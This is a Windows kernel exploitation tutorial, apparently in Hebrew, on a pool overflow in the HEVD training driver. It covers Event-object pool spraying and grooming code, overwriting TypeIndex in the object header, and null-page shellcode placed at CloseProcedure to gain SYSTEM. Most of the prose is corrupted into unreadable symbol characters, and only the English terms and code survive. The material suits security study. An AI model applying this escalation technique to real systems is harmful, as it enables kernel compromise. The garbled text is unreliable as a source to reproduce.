ˢ ˫˧ˬ˧˧˵ ˶ˬˣ˪˩-header ˫˧_OBJECT_HEADER_HANDLE_INFO  ˣ˩˶ˣ˞˷)0x8ˣ (-

_OBJECT_HEADER_QUOTA_INFO  ˣ˩˶ˣ˞˷)0x10ˢ ˧˩˶ˣ˞ ˪˩ ˸˞ ˶˟˥ˮ ˫˞ .(-header ˪˟˵ˮ ,ˣ˪˪ˢ ˫˧

0x20 ˸ˣ˟ˣ˸˩ˢ ˭˧˟ ˷˶˲ˢˢ ˭˩˞ ˣˢˤˣ ,0x85e905a0 ˣ (ˢ˴˵ˣˬˢ ˭ˣ˶˩˧ˤˢ ˸˪˧˥˸)-0x85e905c0 ˢ ˸˪˧˥˸)-

_OBJECT_HEADER.( 
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ˣ ˪ˮ˶˵˟ ˫˧˦˵˧˧˟ˣ˞ ˸ˣˡˣ˞ ˧˦˶ˣ˞˧˸ ˰ˡ˧ ˵˧˲˯ˬ ˣˮ˶˟˴˷ ˶˥˞˪ ,˸˰˩-Kernel Pools ˪ˣ˴˧ˮ˟ ˭ˣˡ˪ ˪˩ˣˮ ,

 ˢˮ˟ˬˢ ˸˞ ˟ˣ˷ ˶ˣ˵˯ˮ .˫˧ˮ˟ˬˢ_OBJECT_TYPE˟ ˶˵˧˰˟ ˡ˵ˬ˸ˮˣ ,-TypeInfo  ˸˞˴ˬˮ ˣ˪˷ ˢ˶ˡˠˢˢ˷

 ˢˮ˟ˬ˟_OBJECT_TYPE_INITIALIZER ˣ˞˶˵˧˷ ˸ˣ˶ˣˡ˴ˣ˶˲ ˶˲˯ˬ ˶˧ˡˠˢ˪ ˢ˪ˣ˩˧ ˢ˵˪˥ˬ ˪˩ ,ˣˮ˧˞˶˷ ˧˲˩ .

 ˸˶˧ˠ˯ ˣˬ˩ ˸ˣ˪ˣ˰˲ ˸˰˟handle ˢ ˸˞ ˭˥˟ˮ .˦˵˧˧˟ˣ˞˪-_OBJECT_TYPE  ˸˞ ˶˧ˡˠˬ˷File ˢ˞˶ˮˣ ,ˢˬˠˣˡ˪ ,

:˶˧ˡˠˬ ˞ˣˢ ˸ˣ˶ˣˡ˴ˣ˶˲ ˣ˪˧˞ 

 

 ˢ˶ˣˡ˴ˣ˶˲ˢ ˸˞ ˭˥˟ˮCloseProcedure˪ ˢ˰˧˟˴ˬˣ ˷ˣˬ˧˷˟ ˸˞˴ˬˮ ˞˧ˢ :-nt!IopCloseFile˪ ˞˶˵ˮ ˫˞ .-

CloseHandle  ˪˰handle ˩ ˸ˮ˧ˣ˴ˬ ˞˧ˢ˷ ˫ˣ˷ˬ ˞˶˵˧˸ ˣˤˢ ˢ˧˴˵ˮˣ˲ˢ ,˳˟ˣ˵ ˠˣ˯ˬ ˦˵˧˧˟ˣ˞˪-

CloseProcedure  ˠˣ˯ˬ ˫˧˦˵˧˧˟ˣ˞˪File˪ ˢ˞˧˶˵ ˸˲˯ˣˢ ˧ˡ˧ ˪˰ ˣˤ ˢˮ˰˦ ˥˧˩ˣˮ .-CloseHandle ˢ ˫˰-

handle ˟ ˢ˶˧˴˰ ˸ˡˣ˵ˮ ˶˧ˡˠˮˣ ,(˫ˡˣ˵ ˣˮ˷ˬ˸˷ˢ ˢ˟ ˸˧ˮ˩˸˟) ˶˟˧˧˶ˡ˪-IopCloseFile  ˢˡˣ˵˲ˢ ˸˶ˤ˰˟

άōǇ ƴǘΗLƻǇ/ƭƻǎŜCƛƭŜέˢ ˸˞ ˭˥˟ˮ ˫˞ˣ ,˳ˣ˲˵˸ ˢ˶˧˴˰ˢ ˸ˡˣ˵ˮ ˭˩˞˷ ˢ˞˶ˮˣ ˳˧˶ˮ .-backtrace  ˞˧ˢ˷ ˢ˞˶ˮ

ˬ ˢ˸˪˰-CloseHandle: 

 

 ˪˷ ˸˟ˣ˸˩ˢ ˫ˣ˵ˬ˟ ˫˞ ˢ˶˵˧ ˢˬnt!IopCloseFile  ˸˶ˤ˰˟ ˭ˣ˶˩˧ˤˢ ˸˞ ˨ˣ˶˰ˮ ?˸˶˥˞ ˸˟ˣ˸˩ ˫˵ˬˮ

windbg  ˰˧˟˴˧ ˢ˧˪˞ ˸˟ˣ˸˩ˢ˷ ˨˩CloseProcedure  ˢ˧ˢ˸0x41414141:ˢ˞˴ˣ˸ˢ ˸˞ ˭˥˟ˮˣ , 

 

˟ ˦ˣ˪˷˪ ˥˧˪˴ˮ ˫˞ ˤ˞ ,ˢ˪ˣ˰ˬ-_OBJECT_TYPE  ˣˮ˪ ˷˧ ˣ˧˪˞ ˧˪ˮ˶˵ ˦˵˧˧˟ˣ˞ ˪˷handle ˢˬ ˥ˣ˸˲-User-

Mode˪ ˞˶˵ˮˣ ,-CloseHandle ˟ ˡˣ˵ ˳˧˶ˢ˪ˣ ˢ˴˧˶ˢ ˪˰ ˦˪˸˷ˢ˪ ˪˩ˣˮ ,ˣ˸˧˞-Kernel-Mode ˵˶ ˶˸ˣˮ ,

.˸˞ˤ ˸ˣ˷˰˪ ˪˩ˣˮ ˡ˴˧˩ ˭˧˟ˢ˪ 

˪ ˶ˣˤ˥ˮ-Pool ˸˞˴˵ˢ ˪˩˟ ,ˣˮ˧˞˶˷ ˧˲˩ :pool ˢ ˶˥˞˪ ,˦˵˧˧˟ˣ˞ ˪˷-_POOL_HEADER sx-header ˫˧

ˢ ˰˧˲ˣ˧ ,˫˧˧˪ˮˣ˧˴˲ˣ˞ˢ-_OBJECT_HEADER ˢˡ˷ˢ ˣ˟ ,TypeIndex  ˠˣ˯ ˸˶ˡˠˢ ˪˷ ˯˵ˡˮ˧˞˪ ˰˧˟˴ˬ˷

˟ ˦˵˧˧˟ˣ˞ˢ-nt!ObTypeIndexTable˟ ˭ˣ˷˞˶ˢ ˶˟˧˞ˢ˷ ˣˮ˧˞˶ ,˭˩ ˣˬ˩ .-nt!ObTypeIndexTable  ˞ˣˢ

0x00000000 ?˶˩ˣˬ ˪˴˪˴ˬ ,J 
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 ˸˞˴˵ˢ˷ ˟˴ˬ˪ ˪˧˟ˣˢ˪ ˥˧˪˴ˮ ˫˞Pool  ˰˴˟˪ ˫˧˪ˣ˩˧ ˣˮ˞˷overflow  ˦˵˧˧˟ˣ˞ ˧ˮ˲˪ ˵ˣ˧ˡ˟ ˸˞˴ˬˮ ˢˮˬˬ

 ˣˮ˪ ˷˧ ˣ˧˪˞ ˧˪ˮ˶˵handle ˢˬ ˥ˣ˸˲-User-Mode  ˫˰ ˣ˸ˣ˞ ˶ˣˠ˯˪ ˫˧˪ˣ˩˧ ˣˮ˞ˣCloseHandle ˰˴˟˪ ˪˩ˣˮ ,

 ˸˞ ˸˶ˡ˯˪ˣ˰˲ˢ˸ˣ ˞˟ˢ˸ˣ: 

1. ˟ˣ˸˩˟ ˪˧˥˸ˬ˷ ˭ˣ˶˩˧ˤ˟ ˡˣˬ˰ˢ ˸˞ ˢ˲ˬˮ ˸0˟ ˣˮ˧˷˰˷ ˧˲˩ ,-Null Pointer Dereference. 

2.  ˣ˟ ˫˵ˬˮ_OBJECT_TYPE ˷ ˨˩ ,˧˟˧˦˵˧˲-TypeInfo.CloseProcedure ˪ ˰˧˟˴ˬ-shellcode .ˣˮ˪˷ 

3.  ˰˴˟ˮoverflow  ˣˮ˪ ˷˧ ˣ˧˪˞ ˦˵˧˧˟ˣ˞ˢ ˟˷ˣ˧ ˢ˟ ˢ˞˴˵ˢ˪handle  ˫˧ˮ˟ˬˢ ˪˩ ˸˞ ˯ˣ˶ˡˮˣ ,˥ˣ˸˲

 ˢˡ˷ˢˬ ˳ˣ˥ ,˫ˡˣ˵ˢ ˫˟˴ˬ ˪˰ ˸˶ˬˣ˷˷ ˢ˶ˣ˴˟TypeIndex ˟-_OBJECT_HEADER ˣ˩˶˰ ˸˞ ˶˷˞ ,

.˯˲˞ˮ 

4. ˪ ˢ˞˧˶˵ˢ ˸˰˟-CloseHandleˢ ,-Object Manager ˢ˷ ˦˵˧˧˟ˣ˞˟ ˶˟ˣˡˬ˷ ˭˧˟˧-TypeIndex  ˞ˣˢ ˣ˪˷

0˪ ˢˮ˲˧ˣ ,-_OBJECT_TYPE  ˸˟ˣ˸˩˟ ˞˴ˬˮ ˣ˧˪˞ ˰˧˟˴ˬˢ˷0 ˟-nt!ObTypeIndexTable. 

5. ˷ ˭ˣˣ˧˩ˬ-CloseProcedure ˢ ,˯˲ˣ˞ˬ ˞˪-Object Manager ˣ˲˪ ˞˶˵˧.ˣˮ˪˷ ˢ˧˴˵ˮ 

6. SYSTEM J 

 ˸˞˶˵ˮ ˣˮˠ˴ˢ˷ ˪ˣ˴˧ˮˢ ˸˦˧˷DKOHM - Direct Kernel Object Header Manipulation ˣˮ˰˴˧˟ ,˸˧˲˧˴˲˯ .

TypeIndex Overwrite .DKOHM  ˪ˣ˴˧ˮ˪ ˸˶˩ˣˬ ˢ˦˧˷ ˞˧ˢPool Overflows. 

 ˸˞ ˪˴ˮ˪ ˡ˴˧˩ ˭˧˟ˢ˪ ˢ˯ˮˮ ,ˢˤˢ ˧˦˶ˣ˞˸ˢ ˰ˡ˧ˢ ˯˧˯˟ ˪˰TriggerPoolOverflow ˸˞ ˭˥˟ˮ .˟) ˢ˧˴˵ˮˣ˲ˢ-

pseudocode :( 
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˟ ˞˴ˬˮ˷ ˶˲˞˟˪ ˰˧˟˴ˬ ˸˪˟˵ˬ ˢ˧˴˵ˮˣ˲ˢ-userland ˶˲˞˟˩ ˣˮ˶˟˰ˢ˷ ˫˧˩˶˰ˢ ˫ˢ ˣ˪˪ˢ ˫˧˩˶˰ˢ .˪ˡˣˠˣ ,

˪ ˢ˞˧˶˵ˢ ˸˰˟ ˦˪˵ˢ ˶˲˞˟ ˨˶ˣ˞˩ˣ ˦˪˵ˢ-DeviceIoControl.˫ˢ˧˪˰ ˢ˦˧˪˷ ˣˮ˪ ˷˧˷ ˨˩ , 

˪ ˢ˞˧˶˵ ˸˰˴˟˸ˬ-ExAllocatePoolWithTag ˞ˣˢ ˠ˸ˢ˷ ˨˩ ,άIŀŎƪέˢ ˪ˡˣˠ , ˞ˣˢ ˷˵ˣ˟ˬˢ ˢ˞˴˵ˢ

0x1F8˟ ˢ˞˴˵ˢˢ ˸˞ ˰˴˟˪ ˫˧˷˵˟ˬˣ ,-Non-Paged Pool ˸ˮ˧˥˟ ˧ˡ˧ ˪˰ ˸˞ˤ ˸ˣ˞˶˪ ˭˸˧ˮ ,

nt!_POOL_TYPE: 

 

 ˨˶˰ˢ˷ ˸ˣ˞˶˪ ˭˸˧ˮ0 ˪ ˫˞ˣ˸-NonPagedPool. 

˟ ˢ˸˴˵ˣˢ˷ ˸˟ˣ˸˩˪ ˰ˡ˧ˬ ˫˧˵˧˸˰ˬ ,˭˩ˬ ˶˥˞˪-pool  ˸˶ˤ˰˟ ˷ˬ˸˷ˬˢ ˵˲˯ˬ˷ ˶˲˞˟ˢˬmemcpy: 

 

 ˭˧˰˪ ˡˣ˞ˬ ˸˦˪ˣ˟ ˢ˷˪ˣ˥ˢ- ˟ ˫˧˦˪ˣ˷ ˣˮ˞˷ ˭ˣˣ˧˩ˬ-Size ˟x-UserBuffer ˢ˞˴˵ˢˢˬ ˢˠ˧˶˥ ˰˴˟˪ ˪˩ˣˮ ,

˟ ˶˟˧˧˶ˡ˪ ˢ˵˲ˣ˯˷-Pool  ˸˞˶˵ˮ ˸˞ˤ˩˷ ˢ˷˪ˣ˥ .ˢ˞˟ˢ ˢ˞˴˵ˢˢ ˧˟ˠ ˪˰ ˟ˣ˸˩˪ˣPool Overflow. 

 ˪ˣ˴˧ˮ˪ ˸˥˞ ˨˶ˡ ,˫ˡˣ˵ ˣˮ˧˧˴˷ ˧˲˩Pool Overflow  ˞˧ˢDKOHM  ˪˷ ˨˶˰ˢ ˸˞ ˯ˣ˶ˡˮ ˣ˟TypeIndex 

˪ˣ˴˧ˮ ˸˦˧˷ .ˢ˞˟ˢ ˢ˞˴˵ˢ˟ ˢ ˸˞˟ˢ ˪˰ ˸˯˯˟˸ˬ ˣˤ-Pool :˞˟ˢ ˟˴ˬ˪ 

 

˷ ˨˩-Overflowable  ˸˞˴˵ˢ ˞˧ˢpool ˣ ,ˢˮˬˬ ˠˣ˶˥˪ ˭˸˧ˮ˷-Object ˟ ˢ˴˵ˣˬˢ ˧˪ˮ˶˵ ˦˵˧˧˟ˣ˞ ˞ˣˢ-

Non-Paged Pool  ˣˮ˪ ˷˧ ˣ˧˪˞handle ˢˬ ˥ˣ˸˲-User-Mode ˪ ˞ˣ˶˵˪ ˪˩ˣˮˣ-CloseHandle  ˢˤ˩ ˶ˡ˯ .ˣ˸˧˞

˟ ˫˧˦˵˧˧˟ˣ˞ˢ ˪˷-pool  ,˧˪˞˧ˣˣ˧˶˦ ˞˪ ˞ˣˢ.ˣ˸ˣ˞ ˶ˣ˴˧˪ ˨˶ˡ ˞ˣ˴ˬ˪ ˣˮ˧˪˰ ˭˩˪ 
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 ˸˧˧˴˵ˮˣ˲ ˶˥˟ˮ ,˸˧˷˞˶API ˟ ˦˵˧˧˟ˣ˞ ˪˷ ˢ˞˴˵ˢ ˶ˣ˴˧˸˷ ˢ˥ˣˮ-Non-Paged Pool ˷ˣˬ˧˷ˢ˷ ˢ˧˴˵ˮˣ˲ .

 ˪ˣ˴˧ˮ ˧˶˷˵ˢ˟ ˳ˣ˲ˮ ˢ˟Pool Overflows  ˢ˧˴˵ˮˣ˲ˢ ˞˧ˢCreateEvent ˟ ˷ˬ˸˷ˮ ˸˧˲˧˴˲˯)-

CreateEventA ˦˵˧˧˟ˣ˞ ˸˶˧˴˧˪ ˸˷ˬ˷ˬ ˶˷˞ ,(Event˩ˮ˧˯˪ ˷ˬ˷ˬˢ , ˢ˧˴˵ˮˣ˲ˢ ˪˷ ˢˬ˧˸˥ˢ ˭˪ˢ˪ .˭ˣ˶

ˬ ˥ˣ˵˪)-MSDN:( 

HANDLE WINAPI CreateEvent (  

  _In_opt_ LPSECURITY_ATTRIBUTES lpEventAttributes ,  

  _In_     BOOL                  bManualReset ,  

  _In_     BOOL                  bInitialState ,  

  _In_opt_ LPCTSTR               lpNam e 

);  

 ˢ˞˧˶˵˟ ˵˲˸˯ˮ ,˪˰ˣ˲˟CreateEventA(0, 0, 0, 0)  ˶ˣ˴˧˪ ˸ˮˬ ˪˰Event-˫˧ ˶ˣ˴˧˸˷ ˸˧ˮ˩˸ ˟ˣ˸˩ˮ .Event 

ˢ ˸˞ ˯˧˲ˡ˸ ,ˡ˥˞-handle ˟ ˢ˸ˣ˞ ˳˧˶ˮ ,˷ˬ˸˷ˬˢˬ ˦˪˵˪ ˢ˩˥˸ ˭˩ˬ ˶˥˞˪ˣ ˣ˧˪˞-guest  ˸˞ ˭˥˟ˮˣ

˪ ˢˬ˧˞˸ˬˢ ˢ˞˴˵ˢˢ-Event ˟-Non-Paged Pool  ˸˶ˤ˰˟WinDbgˢ .-handle ˲ˡˢ ˸˧ˮ˩˸ˢ˷ ˞ˣˢ ˢ˯˧

0x1C: 

 

ˢ ˶˷ˣ˵ˬ ˣ˧˪˞ ˦˵˧˧˟ˣ˞˪ ˢˬ˧˞˸ˬˢ ˢ˞˴˵ˢˢ ˸˞ ˭˥˟ˮ˷˩ˣ-handle: 

 

 ˠ˸ˢά9ǾŜƴέ  ˠˣ˯ˬ ˫˧˦˵˧˧˟ˣ˞ ˠˣ˧˸˪ ˷ˬ˷ˬEvent )WinDbg  ˨˩ ˪˰ ˫˷ˣ˶ˣ ˢˤ ˸˞ ˸ˣˢˤ˪ ˰ˡˣ˧ ˣ˪˧˲˞

 ˞ˣˢ ˢ˴˵ˣˢ˷ ˭ˣ˶˩˧ˤˢ ˪ˡˣˠ˷ ˸ˣ˞˶˪ ˭˸˧ˮ .(˭ˬˣ˯ˬˢ ˶ˣˤ˞˟ ˢ˧˧ˮ˷ˢ ˢ˶ˣ˷˟0x40  ˷˧˷ ˭ˣˣ˧˩ˬ ,˭˩ ˣˬ˩ .˫˧˸˟

ˮ˪ ˣhandle ˪ ˢ˞˧˶˵˪ ˫ˣ˶ˠ˪ ˪˩ˣˮ ,˦˵˧˧˟ˣ˞˪-CloseProcedure  ˸˶ˤ˰˟ (˶ˡˠˣˬ ˞ˣˢˣ ˢˡ˧ˬ˟) ˣ˪˷ ˧˦ˮˣˣ˪˶ˢ

CloseHandle. 
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 ˪˷ ˸ˣ˞˴˵ˢ ˱˴˶ ˨ˣ˲ˢ˪ ˪˩ˣˮ ˡ˴˧˩ ˭˧˟ˮ ,ˢ˸˰Event-˫˧ ˟ ˸ˣ˲˧˴˶-Pool  ˪ˡˣˠ˟ ˸˧˷˲ˣ˥ ˸˥˞ ˢ˞˴˵ˢ˪

 ˸ˣ˴˵ˢ˪ ˷˵˟ˬ ˶˟˧˧˶ˡˢ .˸ˣ˴˵ˢ˪ ˷˵˟ˬ ˶˟˧˧˶ˡˢ˷0x1F8  ˪˰ˣ˲˟˷ ˨˩ ,˫˧˸˟ ˪˷ ˢ˞˴˵ˢ ˰˴˟˸˸

0x200 ) ˫˧˸˟0x1F8 + 0x8 ˪˷ ˢ˪ˣ˲˩˪ ˪ˠ˰˪ ˨˶ˣ˴ ˭˧˞ ,8 ˷ ˭ˣˣ˧˩ˬ-0x1F8  ˪˷ ˢˬ˪˷ ˢ˪ˣ˲˩ ˶˟˩ ˞ˣˢ8 .(

 ˶˶˥˷ˮ ˫˞8 Event-) ˫˧˲˧˴˶ ˫˧0x200 / 0x40 = 8ˢ ,(-pool manager  ˢ˞˴˵ˢ ˧ˡ˩˪ ˫˸ˣ˞ ˡ˥˞˪ ˪˩ˣ˧

 ˪˷ ˸˧˷˲ˣ˥ ˸˥˞0x200  ˶ˣ˶˥˷ .˫˧˸˟Event-˫˧  ˸˶ˤ˰˟ ,˭˟ˣˬ˩ ,˰˴˟˸ˬCloseHandle ˵˧˲˯ˬ ˶ˣ˴˧ˮ ˫˞ .

˟ ˣ˪˞˩ "˫˧˶ˣ˥"-Pool  ˪˷ ˸ˣ˲˧˴˶ ˸ˣ˞˴˵ˢ˟ ˞˪ˬ˷Event-˫˧ ˷˵˟˧ ˶˟˧˧˶ˡˢ ˶˷˞˩˷ ˥˧˦˟ˢ˪ ˪˩ˣˮ ,

 ˸ˣ˴˵ˢ˪0x1F8  ˣˮ˧˪˰ ˢ˧ˢ˧ ,ˢˠ˧˶˥ˢ ˸˞ ˪˴ˮ˪ ˪˩ˣˮ˷ ˸ˮˬ ˪˰ .ˣˮ˶˴˧˷ ˫˧˶ˣ˥ˢˬ ˡ˥˞ ˣ˶ˣ˟˰ ˢ˴˵ˣ˧ ,˫˧˸˟

 ˵˧ˤ˥ˢ˪handle ˪-Event .ˢˤ˩˷ "˶ˣ˥" ˶˥˞˪ ˵ˣ˧ˡ˟ ˢ˴˵ˣˬ˷ 

˰ ˪˷ ˢ˪ˣˡˠ ˸ˣˬ˩ ˢ˴˵ˮ ,ˣˤ˩˷ ˢ˪ˣ˰˲ ˰˴˟˪ ˸ˮˬ ˪Event-˫˧ ˟ ˫˧˲˧˴˶ ˣ˧ˢ˧˷ ˨˩-Pool˟ ˶˥˟ˮ ,-5000 

 ˞˟ˢ ˭˲ˣ˞˟ ˫˧˶ˣ˥ ˶ˣ˴˧ˮ ,˭˩ˬ ˶˥˞˪ .˧˸ˣ˶˧˶˷ ˭˲ˣ˞˟-  ˪˷ ˱˴˶ ˪˩ ˶ˣ˟˰18 Event-˫˧ˢ ˸˞ ˶˶˥˷ˮ ,-8 

:˞˟ˢ ˭˲ˣ˞˟ ,˫˧ˮˣ˷˞˶ˢ 

// Create holes  

for  ( i = 0;  i < 5000 ;  i += 16)  {  

    for  ( j = 0;  j < 8;  ++j )  {  

        CloseHandle ( eventHandles [ i + j ]);  

    }  

}  

ˢ ˸˞ ˞˧˟ˢ˪ ˪˩ˣˮ ˨˩-Pool  ˞ˣˢˣ ,˧˪˞˧ˣˣ˧˶˦ ˞˪ ˭ˣ˸ˮ ˪˰ ˣˮ˩ˬ˸˯ˢ ˨˞ ,˫˧˷˶˸˟ ˣˮ˶˞˧˸ ˶˷˞ ˟˴ˬ˪

ˢ ˪˷ ˸ˣ˞˴˵ˢˢ ˭ˣˮˠˮˬ˟ ˸ˬ˧ˣ˯ˬ ˢ˧˴ˤ˧ˬˣˡˮ˶ ˸ˬ˧˧˵ .˭ˣ˶˩˧ˤ˟ ˸ˣ˲ˣ˴˶ ˣˮ˶˴˧˷ ˸ˣ˞˴˵ˢˢ˷-Pool Manager ,

˧˥˸ ˭˩˪ˣ ˧ˮ˷ ˸˶˧˴˧ ˧ˡ˧ ˪˰ ˸˞ˤ ˸ˣ˞˶˪ ˭˸˧ˮ .˭ˣ˶˩˧ˤ˟ ˸ˣ˲˧˴˶ ˣ˧ˢ˧ ˞˪ ˸ˣ˞˴˵ˢˢ ˡˣ˞ˬ ˢˣ˟ˠ ˧ˣ˩˧˯˟ ,ˢ˪

Event-˫˧  ˸˶ˤ˰˟ ˭ˣ˶˩˧ˤ˟ ˫˧˲˧˴˶ ˫ˢ ˫˞ˢ ˢ˵˧ˡ˟ˣ ,ˢ˟ ˣˮ˷ˬ˸˷ˢ˷ ˸˧ˮ˩˸˟ ˫˧˲˯ˣˮWinDbgˢ .-handle-

:˫ˢ ˫˧ 

 

ˢ ˸˞ ˭ˣ˥˟˪ ˵˧˲˯ˬ-pool ˢ ˟˧˟˯-Event :ˢ˲˧˴˶ ˢˮ˧˞ ˢ˞˴˵ˢˢ˷ ˸ˣ˞˶˪ ˪˧˟˷˟ ˭ˣ˷˞˶ˢ 

 

ˢ ˪˷ ˢ˧˴ˤ˧ˬˣˡˮ˶ˢ ˸˞ ˯˧˟ˢ˪ ˣˮ˧˪˰-poolˢ ˯ˣ˯˧˶ ˸ˣ˰˴ˬ˞˟ ˸˞ˤ ˰˴˟ˮ .-Pool )Pool Spraying ˸ˣˬ˩˟ (

 ˪˷ ˢ˪ˣˡˠEvent-˫˧ˢ ˪˷ ˢ˞˴˵ˢˢ ,˸ˣ˞˴˵ˢ ˪˷ ˫˧ˣ˯ˬ ˶˲˯ˬ ˶˥˞˪ .-pool  ˸˞ ˢ˴˵˧ ˞ˣˢˣ ˢ˧ˣ˲˴ ˢ˧ˢ˸
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-sEvent-˫˧  ˸˞ ˢ˴˵ˮ˷ ˧ˮ˲˪ ,˭˩˪ .˱˧˴˶ ˭˲ˣ˞˟5000 s-Event-˫˧ ˪ ˸ˮˬ ˪˰ ˫ˢ˟ ˷ˬ˸˷ˮ˷˟ ˫˧˶ˣ˥ ˶ˣ˴˧-

Pool ˢ˴˵ˮ ,10,000 Event-˫˧ ˢˡ ˰˴˟˪ ˪˧˟˷˟-) ˢ˧˴ˤ˧ˬˣˡˮ˶Derandomization˪ (-Pool:ˢ˞˟ˢ ˢ˶ˣ˴˟ , 

for  ( i = 0;  i < 10000 ;  ++i )  {  

    eventHandlesFiller [ i ]  = CreateEventA ( 0,  0,  0,  0);  

}  

 

for  ( i = 0;  i < 5000 ;  ++i )  {  

    eventHandles [ i ]  = CreateEventA ( 0,  0,  0,  0);  

}  

ˢ ˸˞ ˯˧˲ˡˮˣ ,˸˧ˮ˩˸˪ ˣ˪˪ˢ ˫˧˧ˣˮ˧˷ˢ ˸˞ ˱˧˯ˣˮ-handles  ˪˷Event-˫˧  ˪˷ ˱ˣ˯ˢˬ ˫˧˶˥˟ˮ

eventHandlesˢ ˡ˥˞ .-handle ˞ˣˢ ˫˧0xEA20˟ ˡˣˬ˰ˢ ˸˞ ˭˥˟ˮ .-Pool  ˪˷ ˢ˞˴˵ˢˢ ˸ˬ˧˧˵ ˣ˟

˪ ˫˧˞˸ˬˢ ˦˵˧˧˟ˣ˞ˢ-handle :ˢˤ 
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˟ ˫˧˶ˣ˥ ˶ˣ˴˧˪ ˶ˣˬ˞˷ ˡˣ˵ˢ ˰˦˵˷ ˶˥˞˪ˣ-pool :˳˶ 

 

ˮ ˪˷ ˸˧˷˲ˣ˥ ˢ˞˴˵ˢ˪ ˢ˩˲ˢ ˢ˞˴˵ˢˢ˷ ˸ˣ˞˶˪ ˭˸˧0x200  ˸ˣ˞˶˪ ˭˸˧ˮ ,˭˩ ˣˬ˩ .˫˧˸˟chunk  ˱˯ˣˮ ˧˷˲ˣ˥

 ˪ˡˣˠ˟0x200  ˞˴ˬˮ˷ ˫˧˸˟8 Event-˫˧  ˣˮ˰˴˧˟˷ ˢ˪ˣ˰˲˪ ˫˧˞˶ˣ˵ ˫˧˸˧˰˪ .ˣˤˢ ˢ˞˴˵ˢ˪ ˸˥˸ˬ ˵ˣ˧ˡ˟- 

ˢ ˸˪˟ˣˢ-Pool  ˪˴ˮ˪ ˫˧˪ˣ˩˧ ˣˮ˞˷ ˟˴ˬ˪ ˰ˣˡ˧ ˞˪ ˟˴ˬˬ-  ˫˷˟Pool Grooming. 

˪ ˞˶˵ˮ ,ˢ˸˰-TriggerPoolOverflow  ˸˶ˤ˰˟DeviceIoControl ˢ ˡˣ˵ ˫˰-IOCTL ) ˫˧˞˸ˬˢ0x22200F ,(

˪ ˢ˞˧˶˵ˢ ˡ˰ ˢ˧˴˵ˮˣ˲ˢ ˶˥˞ ˟ˣ˵˰ˮˣ-ExAllocatePoolWithTag ˣ˟ ˡˣˬ˰ˢ ˸˞ ˭˥˟ˮ ,ˢ˞˧˶˵ˢ ˶˥˞˪ .

ˬ ˸˶ˤ˥ˣˬˢ ˸˟ˣ˸˩ˢ ˪˷ ˨˶˰ˢ) ˢ˞˴˵ˢˢ ˸˞˴ˬˮ-ExAllocatePoolWithTag  ˧˟ˠ ˪˰ ˸˶ˤ˥ˣˬeax:( 

 

˶ˤ˰˟ !ˣˠˮ˧˟ˢ ˯ˣ˯˧˶ ˸-Non-Paged Pool  ˫˰Event-˫˧ˢ˷ ˨˩˪ ˫ˣ˶ˠ˪ ˣˮ˥˪˴ˢ ,-pool  ˪˷ ˢ˞˴˵ˢˢ ˟˧˟˯

˟ ˸ˬ˧˧˵˷ ˢ˷˪ˣ˥ˢ ˸˶ˤ˰˟ .˫˧˷˶˸˟ ˣˮ˶˞˧˸˷ ˧˲˩ ˢ˞˶˸ ˶˟˧˧˶ˡˢ-HEVD!TriggerPoolOverflow ˪˩ˣˮ ,

˪ ˠˣ˶˥˪ ˸ˣ˪˵˟-Event ˟ ˢ˴˵ˣˬ˷-0x85b2bc40 ˢ ˶˥˞˪ ˡ˧ˬ)-chunk  ˫˧˪ˣ˩˧ ˣˮ˞ ˣˮˬˬ ,˶˟˧˧˶ˡ˪ ˨˧ˣ˷ˬ˷

˥˪ˢ ˸˞ ˯ˣ˶ˡ˪ˣ ,(ˠˣ˶-TypeIndex  ˢ˧ˢ˧˷ ˨˩ ˣ˪˷0˪ ˰˧˟˴ˬˢ˷ ˨˩˪ ˫ˣ˶ˠ˧˷ ˢˬ ,-_OBJECT_TYPE 

˟ ˣ˪˷ ˧˦ˮˣˣ˪˶ˢ-nt!ObTypeIndexTable  ˸˟ˣ˸˩˪ ˰˧˟˴˧0. 
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˪ ˠˣ˶˥˪ ˸ˮˬ ˪˰-Event ˫ˣ˷˶˪ ˣˮ˧˪˰ ,0x1F8 ˢ ˸˞ ˯ˣ˶ˡ˪ ˭˩ˬ ˶˥˞˪ˣ ,"˪˟ˤ" ˪˷ ˫˧˸˟-chunk ˢ ˪˷-

Event ˢˬ ˪˥ˢ) ˣˮˮˣ˴˶˩-_POOL_HEADER ˪˷ ˪˰ ˶ˣˬ˷˪ˣ ˡˣ˞ˬ ˫˧˶˧ˢˤ ˸ˣ˧ˢ˪ ˣˮ˧˪˰ ,ˢ˯˧˶ˡˢ ˸˰˟ .(ˣ

˪ ˨˶ˡ˟ ˯ˣ˶ˡˮ˷ ˫˧ˮ˟ˬ˟ ˸ˣˡ˷ˢ ˶˞˷ ˪˩ ˪˷ ˫˧˩˶˰ˢ-_OBJECT_HEADER.TypeIndex ˞˴ˬˮ ˭˩˧ˢ ˭˧˟ˮ .

 ˸˧˷˞˶ :˪ˮ˶˵˟ ˫˧˦˵˧˧˟ˣ˞ ˸ˣ˞˴˵ˢ ˪˷ ˢˮ˟ˬ˟ ˶˩ˤ˧ˮ .ˢ˞˴˵ˢˢ ˸˪˧˥˸˪ ˯˥˧˟ ˢˡ˷ˢ_POOL_HEADER 

 ˨˶ˣ˞˟8  ˭˩ˬ ˶˥˞˪ ,˫˧˸˟headerˣ˧˴˲ˣ˞ ˫˧ ˫ˢ˧˶˥˞ ,˫˧˧˪ˮ_OBJECT_HEADER .ˣˬ˴˰ ˦˵˧˧˟ˣ˞ˢ ˤ˞ˣ ,

 ˣ˪˧˞ ˭˧˟ˢ˪ ˣˮ˧˪˰header- ˶ˣ˟˰ ˷ˣˬ˧˷˟ ˫˧˞˴ˬˮ ˫˧˧˪ˮˣ˧˴˲ˣ˞ ˫˧Event ˭˥˟ˮ ,˸˞ˤ ˰˴˟˪ ˸ˮˬ ˪˰ .

_OBJECT_HEADER  ˪˷Event :ˣˢ˷˪˩ 

 

˟ ˶˟ˣˡˬ ˭˩˞˷ ˸ˬ˞˪ ˭˸˧ˮ-Event ˢ ˶˟˧˞ˢ ˸˵˧ˡ˟ ˧ˡ˧ ˪˰-0xC ˟-nt!ObTypeIndexTableˡ˷ˢ ,˶ˣˬ˞˩ . ˢ

InfoMask ˢ ˪˰ ˰ˡ˧ˬ ˵˲˯˪ ˸ˮˬ ˪˰ ˷ˬ˷ˬ-header ˞ˣˢ ˣ˪˷ ˨˶˰ˢ .˷ˣˬ˧˷˟ ˫˧˞˴ˬˮ˷ ˫˧˧˪ˮˣ˧˴˲ˣ˞ˢ ˫˧

